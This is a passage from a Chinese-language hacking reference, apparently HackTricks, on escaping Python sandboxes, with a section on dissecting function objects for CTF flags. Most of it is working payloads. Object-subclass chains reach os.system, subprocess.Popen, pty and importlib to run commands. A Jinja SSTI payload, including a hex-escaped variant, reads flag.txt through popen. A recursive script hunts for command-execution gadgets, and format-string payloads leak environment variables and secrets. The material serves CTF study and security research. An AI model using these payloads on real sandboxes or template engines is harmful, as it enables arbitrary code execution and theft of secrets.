'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```

## 寻找全局变量的递归搜索

在下面有一个更大的函数，可以找到数十/数百个可以找到全局变量的地方。

## 发现任意执行

在这里，我想解释如何轻松发现加载的更危险功能，并提出更可靠的利用方法。

#### 使用绕过访问子类

这种技术最敏感的部分之一是能够访问基类的子类。在之前的示例中，可以使用`''.__class__.__base__.__subclasses__()`来实现，但也有其他可能的方法：

```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```

### 寻找已加载的危险库

例如，知道使用库 **`sys`** 可以**导入任意库**，你可以搜索所有**已加载的模块中是否导入了 sys**：

```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```

有很多，**我们只需要一个**来执行命令：

```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```

我们可以使用**其他已知可用于执行命令的库**来做同样的事情：

```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```

此外，我们甚至可以搜索加载恶意库的模块：

```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""
```

此外，如果您认为**其他库**可能能够**调用函数来执行命令**，我们还可以在可能的库中**按函数名称进行过滤**：

```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
```

## 递归搜索内置函数、全局变量...

{% hint style="warning" %}
这真是**太棒了**。如果你**正在寻找像globals、builtins、open或任何其他对象**，只需使用这个脚本**递归地查找可以找到该对象的位置**。
{% endhint %}

```python
import os, sys # Import these to find more gadgets

SEARCH_FOR = {
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),

# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),

# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
}

#More than 4 is very time consuming
MAX_CONT = 4

#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()

def check_recursive(element, cont, name, orig_n, orig_i, execute):
# If bigger than maximum, stop
if cont > MAX_CONT:
return

# If already checked, stop
#if name and name in ALREADY_CHECKED:
#    return

# Add to already checked
#if name:
#    ALREADY_CHECKED.add(name)

# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")

# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)

# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass

except:
pass

# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)


def main():
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)

print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)

print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)

print()
print(SEARCH_FOR)


if __name__ == "__main__":
main()
```

你可以在此页面上检查此脚本的输出：

{% content-ref url="<https://github.com/carlospolop/hacktricks/blob/cn/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md>" %}
<https://github.com/carlospolop/hacktricks/blob/cn/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md>
{% endcontent-ref %}

## Python格式化字符串

如果你向Python发送一个将要被格式化的字符串，你可以使用 `{}` 来访问Python的内部信息。你可以使用之前的示例来访问全局变量或内置函数，例如。

{% hint style="info" %}
然而，有一个限制，你只能使用符号 `.[]`，所以你无法执行任意代码，只能读取信息。\
***如果你知道如何通过这个漏洞执行代码，请与我联系。***
{% endhint %}

```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}

class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```

注意如何可以用**点**（dot）的方式像`people_obj.__init__`一样正常访问属性，以及用**括号**（parenthesis）而不加引号访问**字典元素**，比如`__globals__[CONFIG]`

还要注意可以使用`.__dict__`来枚举对象的元素，比如`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`

格式字符串的一些其他有趣特性是通过添加\*\*`!s`**、**`!r`**、**`!a`**分别执行指定对象中的**`str`**、**`repr`**和**`ascii`\*\*函数：

```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```

此外，还可以在类中**编写新的格式化程序**：

```python
class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```

**更多关于格式化字符串的示例**可以在[https://pyformat.info/](https://pyformat.info)找到。

{% hint style="danger" %}
还要检查以下页面，其中包含从Python内部对象中**读取敏感信息**的小工具：
{% endhint %}

{% content-ref url="/pages/cUYy4tbIRtwbQ5KNZ6PA" %}
[Python Internal Read Gadgets](/generic-methodologies-and-resources/python/python-internal-read-gadgets)
{% endcontent-ref %}

### 敏感信息泄露有效载荷

```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
```

## 解剖 Python 对象

{% hint style="info" %}
如果您想深入了解**Python 字节码**，请阅读这篇关于该主题的**精彩**文章：[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}

在一些 CTF 比赛中，您可能会收到一个**自定义函数的名称，其中包含标志**，您需要查看**函数**的**内部**以提取它。

这是要检查的函数：

```python
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"
```

#### dir

#### dir

```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
```

#### 全局变量

`__globals__` 和 `func_globals`（相同）获取全局环境。在示例中，您可以看到一些导入的模块，一些全局变量及其声明的内容：

```python
get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```

### **访问函数代码**

**`__code__`** 和 `func_code`: 您可以访问函数的这个属性来获取函数的代码对象。

```python
# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1

# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>

#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```

### 获取代码信息

```python
# Another example
s = '''
a = 5
b = 'text'
def f(x):
return x
f(5)
'''
c=compile(s, "", "exec")

